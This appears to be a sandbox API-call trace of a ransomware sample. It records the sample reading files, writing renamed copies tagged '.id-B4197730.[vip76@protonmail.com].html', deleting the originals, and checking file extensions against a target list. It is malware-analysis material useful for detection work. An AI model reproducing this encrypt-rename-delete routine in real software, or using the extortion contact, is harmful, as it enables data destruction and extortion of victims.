	[0060.154] ReadFile (in: hFile=0x2e8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x4a, lpOverlapped=0x0) returned 1
	[0060.155] WriteFile (in: hFile=0x2ec, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x50, lpOverlapped=0x0) returned 1
	[0060.156] ReadFile (in: hFile=0x2e8, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.156] WriteFile (in: hFile=0x2ec, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xea, lpOverlapped=0x0) returned 1
	[0060.156] SetEndOfFile (hFile=0x2ec) returned 1
	[0060.157] CloseHandle (hObject=0x2ec) returned 1
	[0060.157] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.157] SetEndOfFile (hFile=0x2e8) returned 1
	[0060.158] CloseHandle (hObject=0x2e8) returned 1
	[0060.158] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0060.158] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1
	[0060.159] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0060.159] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0060.159] lstrlenW (lpString=".doc") returned 4
	[0060.159] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0060.159] lstrlenW (lpString=".docx") returned 5
	[0060.159] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0060.159] lstrlenW (lpString=".pdf") returned 4
	[0060.159] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0060.159] lstrlenW (lpString=".xls") returned 4
	[0060.159] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0060.159] lstrlenW (lpString=".xlsx") returned 5
	[0060.159] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0060.159] lstrlenW (lpString=".ppt") returned 4
	[0060.159] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0060.159] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0060.159] lstrlenW (lpString=".zip") returned 4
	[0060.159] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0060.159] lstrlenW (lpString=".rar") returned 4
	[0060.159] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0060.159] lstrlenW (lpString=".bz2") returned 4
	[0060.159] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0060.159] lstrlenW (lpString=".7z") returned 3
	[0060.159] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0060.159] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0060.159] lstrlenW (lpString=".dbf") returned 4
	[0060.159] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0060.159] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0060.159] lstrlenW (lpString=".1cd") returned 4
	[0060.160] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0060.160] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0060.160] lstrlenW (lpString=".jpg") returned 4
	[0060.160] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0060.160] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0060.160] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0060.160] lstrlenW (lpString=".doc") returned 4
	[0060.160] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0060.160] lstrlenW (lpString=".docx") returned 5
	[0060.160] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0060.160] lstrlenW (lpString=".pdf") returned 4
	[0060.160] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0060.160] lstrlenW (lpString=".xls") returned 4
	[0060.160] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0060.160] lstrlenW (lpString=".xlsx") returned 5
	[0060.160] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0060.160] lstrlenW (lpString=".ppt") returned 4
	[0060.160] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0060.160] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0060.160] lstrlenW (lpString=".zip") returned 4
	[0060.160] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0060.160] lstrlenW (lpString=".rar") returned 4
	[0060.160] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0060.160] lstrlenW (lpString=".bz2") returned 4
	[0060.160] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0060.160] lstrlenW (lpString=".7z") returned 3
	[0060.160] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0060.160] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0060.160] lstrlenW (lpString=".dbf") returned 4
	[0060.160] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0060.160] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0060.160] lstrlenW (lpString=".1cd") returned 4
	[0060.161] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0060.161] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0060.161] lstrlenW (lpString=".jpg") returned 4
	[0060.161] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0060.161] Sleep (dwMilliseconds=0x64) 
	[0060.535] Sleep (dwMilliseconds=0x64) 
	[0060.963] Sleep (dwMilliseconds=0x64) 
	[0061.291] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.291] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.291] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0062.544] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=18264) returned 1
	[0062.544] CloseHandle (hObject=0x368) returned 1
	[0062.566] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80
	[0062.566] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.566] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0062.567] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.567] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.567] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0062.567] GetLastError () returned 0x0
	[0062.568] ReadFile (in: hFile=0x368, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0062.569] WriteFile (in: hFile=0x35c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0062.571] ReadFile (in: hFile=0x368, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.571] WriteFile (in: hFile=0x35c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0062.571] SetEndOfFile (hFile=0x35c) returned 1
	[0062.571] CloseHandle (hObject=0x35c) returned 1
	[0062.572] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.573] SetEndOfFile (hFile=0x368) returned 1
	[0062.574] CloseHandle (hObject=0x368) returned 1
	[0062.574] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.574] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1
	[0062.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0062.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0062.574] lstrlenW (lpString=".doc") returned 4
	[0062.574] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.574] lstrlenW (lpString=".docx") returned 5
	[0062.574] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.574] lstrlenW (lpString=".pdf") returned 4
	[0062.574] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.574] lstrlenW (lpString=".xls") returned 4
	[0062.574] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.574] lstrlenW (lpString=".xlsx") returned 5
	[0062.575] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.575] lstrlenW (lpString=".ppt") returned 4
	[0062.575] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0062.575] lstrlenW (lpString=".zip") returned 4
	[0062.575] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.575] lstrlenW (lpString=".rar") returned 4
	[0062.575] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.575] lstrlenW (lpString=".bz2") returned 4
	[0062.575] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.575] lstrlenW (lpString=".7z") returned 3
	[0062.575] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0062.575] lstrlenW (lpString=".dbf") returned 4
	[0062.575] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0062.575] lstrlenW (lpString=".1cd") returned 4
	[0062.575] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0062.575] lstrlenW (lpString=".jpg") returned 4
	[0062.575] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0062.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0062.575] lstrlenW (lpString=".doc") returned 4
	[0062.575] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.575] lstrlenW (lpString=".docx") returned 5
	[0062.575] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0062.575] lstrlenW (lpString=".pdf") returned 4
	[0062.575] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.575] lstrlenW (lpString=".xls") returned 4
	[0062.575] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.575] lstrlenW (lpString=".xlsx") returned 5
	[0062.576] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0062.576] lstrlenW (lpString=".ppt") returned 4
	[0062.576] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0062.576] lstrlenW (lpString=".zip") returned 4
	[0062.576] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.576] lstrlenW (lpString=".rar") returned 4
	[0062.576] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.576] lstrlenW (lpString=".bz2") returned 4
	[0062.576] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.576] lstrlenW (lpString=".7z") returned 3
	[0062.576] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0062.576] lstrlenW (lpString=".dbf") returned 4
	[0062.576] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0062.576] lstrlenW (lpString=".1cd") returned 4
	[0062.576] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0062.576] lstrlenW (lpString=".jpg") returned 4
	[0062.576] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.576] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.576] lstrlenW (lpString="Rotate5.ico") returned 11
	[0062.576] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0062.577] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=894) returned 1
	[0062.577] CloseHandle (hObject=0x368) returned 1
	[0062.577] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80
	[0062.577] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.577] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0062.577] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.577] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.577] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0062.577] GetLastError () returned 0x0
	[0062.578] ReadFile (in: hFile=0x368, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0062.579] WriteFile (in: hFile=0x35c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x380, lpOverlapped=0x0) returned 1
	[0062.581] ReadFile (in: hFile=0x368, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.581] WriteFile (in: hFile=0x35c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xea, lpOverlapped=0x0) returned 1
	[0062.581] SetEndOfFile (hFile=0x35c) returned 1
	[0062.581] CloseHandle (hObject=0x35c) returned 1
	[0062.582] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.582] SetEndOfFile (hFile=0x368) returned 1
	[0062.583] CloseHandle (hObject=0x368) returned 1
	[0062.583] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.583] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1
	[0062.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0062.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0062.583] lstrlenW (lpString=".doc") returned 4
	[0062.584] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.584] lstrlenW (lpString=".docx") returned 5
	[0062.584] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1
	[0062.584] lstrlenW (lpString=".pdf") returned 4
	[0062.584] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.584] lstrlenW (lpString=".xls") returned 4
	[0062.584] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.584] lstrlenW (lpString=".xlsx") returned 5
	[0062.584] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1
	[0062.584] lstrlenW (lpString=".ppt") returned 4
	[0062.584] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.584] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0062.584] lstrlenW (lpString=".zip") returned 4
	[0062.584] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.584] lstrlenW (lpString=".rar") returned 4
	[0062.584] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.584] lstrlenW (lpString=".bz2") returned 4
	[0062.584] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.584] lstrlenW (lpString=".7z") returned 3
	[0062.584] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.584] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0062.584] lstrlenW (lpString=".dbf") returned 4
	[0062.584] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.584] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0062.584] lstrlenW (lpString=".1cd") returned 4
	[0062.584] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.584] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0062.584] lstrlenW (lpString=".jpg") returned 4
	[0062.584] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0062.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0062.585] lstrlenW (lpString=".doc") returned 4
	[0062.585] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.585] lstrlenW (lpString=".docx") returned 5
	[0062.585] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1
	[0062.585] lstrlenW (lpString=".pdf") returned 4
	[0062.585] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.585] lstrlenW (lpString=".xls") returned 4
	[0062.585] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.585] lstrlenW (lpString=".xlsx") returned 5
	[0062.585] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1
	[0062.585] lstrlenW (lpString=".ppt") returned 4
	[0062.585] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0062.585] lstrlenW (lpString=".zip") returned 4
	[0062.585] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.585] lstrlenW (lpString=".rar") returned 4
	[0062.585] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.585] lstrlenW (lpString=".bz2") returned 4
	[0062.585] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.585] lstrlenW (lpString=".7z") returned 3
	[0062.585] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0062.585] lstrlenW (lpString=".dbf") returned 4
	[0062.585] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0062.585] lstrlenW (lpString=".1cd") returned 4
	[0062.585] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.585] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0062.585] lstrlenW (lpString=".jpg") returned 4
	[0062.585] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.586] lstrcmpiW (lpString1=".ico", lpString2=".html") returned 1
	[0062.586] lstrlenW (lpString="Rotate6.ico") returned 11
	[0062.586] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0062.586] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=894) returned 1
	[0062.586] CloseHandle (hObject=0x368) returned 1
	[0062.586] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80
	[0062.586] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.586] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0062.586] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.586] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.587] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0062.587] GetLastError () returned 0x0
	[0062.587] ReadFile (in: hFile=0x368, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0062.588] WriteFile (in: hFile=0x35c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x380, lpOverlapped=0x0) returned 1
	[0062.590] ReadFile (in: hFile=0x368, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.590] WriteFile (in: hFile=0x35c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xea, lpOverlapped=0x0) returned 1
	[0062.590] SetEndOfFile (hFile=0x35c) returned 1
	[0062.590] CloseHandle (hObject=0x35c) returned 1
	[0062.591] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.591] SetEndOfFile (hFile=0x368) returned 1
	[0062.592] CloseHandle (hObject=0x368) returned 1
	[0062.592] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.593] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1
	[0062.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0062.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0062.593] lstrlenW (lpString=".doc") returned 4
	[0062.593] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0062.593] lstrlenW (lpString=".docx") returned 5
